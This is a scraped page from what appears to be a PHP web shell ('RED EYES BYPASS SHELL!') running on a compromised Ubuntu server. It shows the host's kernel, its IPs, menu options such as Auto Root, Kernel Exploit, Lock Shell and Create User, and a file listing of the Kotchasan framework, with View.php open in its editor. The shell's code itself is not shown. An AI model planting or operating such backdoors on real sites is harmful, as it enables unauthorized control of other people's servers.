Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : View.php
<?php /** * @filesource Kotchasan/View.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * View base class * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class View extends \Kotchasan\KBase { /** * ตัวแปรเก็บเนื่อหาของเว็บไซต์ ที่จะแทนที่หลังจาก render แล้ว * * @var array */ protected $after_contents = array(); /** * ตัวแปรเก็บเนื่อหาของเว็บไซต์ * * @var array */ protected $contents = array(); /** * รายการ header * * @var array */ protected $headers = array(); /** * meta tag * * @var array */ protected $metas = array(); /** * คำสั่ง Javascript ที่จะแทรกไว้ใน head * * @var array */ protected $script = array(); /** * create class * * @return static */ public static function create() { return new static; } /** * ใส่ไฟล์ CSS ลงใน header * * @param string $url */ public function addCSS($url) { $this->metas[$url] = '<link rel=stylesheet href="'.$url.'">'; } /** * ใส่ไฟล์ Javascript ลงใน header * * @param string $url */ public function addJavascript($url) { $this->metas[$url] = '<script src="'.$url.'"></script>'; } /** * เพิ่มคำสั่ง Javascript ใส่ลงใน head ก่อนปิด head * * @param string $script */ public function addScript($script) { $this->script[] = $script; } /** * ฟังก์ชั่น แทนที่ query string ด้วยข้อมูลจาก GET สำหรับส่งต่อไปยัง URL ถัดไป * array ส่งมาจาก preg_replace * string กำหนดเอง * คืนค่า query string ใหม่ ลบ id=0 * * @assert (array(2 => 'module=retmodule&id=0')) [==] "http://localhost/?module=retmodule&page=1&sort=id" [[$_SERVER['QUERY_STRING'] = '_module=test&1234&_page=1&_sort=id&action=login&id=1']] * @assert ('module=retmodule&5678') [==] "http://localhost/?module=retmodule&page=1&sort=id&id=1&5678" * * @param array|string $f รับค่าจากตัวแปร $f มาสร้าง query string * * @return string */ public static function back($f) { $uri = self::$request->getUri(); $query_url = array(); foreach (explode('&', $uri->getQuery()) as $item) { if (preg_match('/^(_)?(.*)=([^$]{1,})$/', $item, $match)) { if ($match[2] == 'action' && ($match[3] == 'login' || $match[3] == 'logout')) { // ไม่ใช้รายการ action=login, action=logout } else { $query_url[$match[2]] = $match[3]; } } } if (is_array($f)) { $f = isset($f[2]) ? $f[2] : null; } if (!empty($f)) { foreach (explode('&', $f) as $item) { if (preg_match('/^([a-zA-Z0-9_\-]+)(=(.*))?$/', $item, $match)) { if (!isset($match[3])) { // ไม่มี value $query_url[$match[1]] = null; } elseif ($match[3] === '0') { // ไม่ใช้รายการที่หลังเครื่องหมาย = เท่ากับ 0 unset($query_url[$match[1]]); } else { $query_url[$match[1]] = $match[3]; } } } } return (string) $uri->withQuery($uri->paramsToQuery($query_url, true)); } /** * ส่งออกเนื้อหา และ header ตามที่กำหนด * * @param string $content เนื้อหา */ public function output($content) { // send header foreach ($this->headers as $key => $value) { header("$key: $value"); } // output content echo $content; } /** * ส่งออกเป็น HTML * * @param string|null $template HTML Template ถ้าไม่กำหนด (null) จะใช้ index.html */ public function renderHTML($template = null) { // default for template $this->contents['/{WEBTITLE}/'] = self::$cfg->web_title; $this->contents['/{WEBDESCRIPTION}/'] = self::$cfg->web_description; $this->contents['/{WEBURL}/'] = WEB_URL; $this->contents['/{SKIN}/'] = Template::get(); foreach ($this->after_contents as $key => $value) { $this->contents[$key] = $value; } $head = ''; if (!empty($this->metas)) { $head .= implode("\n", $this->metas); } if (!empty($this->script)) { $head .= "\n<script>\n".implode("\n", $this->script)."\n</script>"; } if ($head != '') { $this->contents['/(<head.*)(<\/head>)/isu'] = '$1'.$head.'$2'; } // แทนที่ลงใน Template if ($template === null) { // ถ้าไม่ได้กำหนดมาใช้ index.html $template = Template::load('', '', 'index'); } return Template::pregReplace(array_keys($this->contents), array_values($this->contents), $template); } /** * ใส่เนื้อหาลงใน $contens * * @param array $array ชื่อที่ปรากฏใน template รูปแบบ array(key1 => val1, key2 => val2) */ public function setContents($array) { foreach ($array as $key => $value) { $this->contents[$key] = $value; } } /** * ใส่เนื้อหาลงใน $contens หลัง render แล้ว * * @param array $array ชื่อที่ปรากฏใน template รูปแบบ array(key1 => val1, key2 => val2) */ public function setContentsAfter($array) { foreach ($array as $key => $value) { $this->after_contents[$key] = $value; } } /** * กำหนด header ให้กับเอกสาร * * @param array $array */ public function setHeaders($array) { foreach ($array as $key => $value) { $this->headers[$key] = $value; } } /** * ใส่ Tag ลงใน Head ของ HTML * * @param array $array */ public function setMetas($array) { foreach ($array as $key => $value) { $this->metas[$key] = $value; } } /** * อ่านค่าจาก Array * คืนค่า $source[$key] * ถ้าไม่มี คืนค่า $default * * @param array $array * @param mixed $key * @param mixed $default * * @return mixed */ public static function array_value($array, $key, $default = '') { return isset($array[$key]) ? $array[$key] : $default; } /** * อ่านค่าจาก Object * คืนค่า $source->{$key} * ถ้าไม่มี คืนค่า $default * * @param array|object $source * @param string|int $key * @param string|int $default * * @return mixed */ public static function object_value($source, $key, $default = '') { return isset($source->{$key}) ? $source->{$key} : $default; } }
Close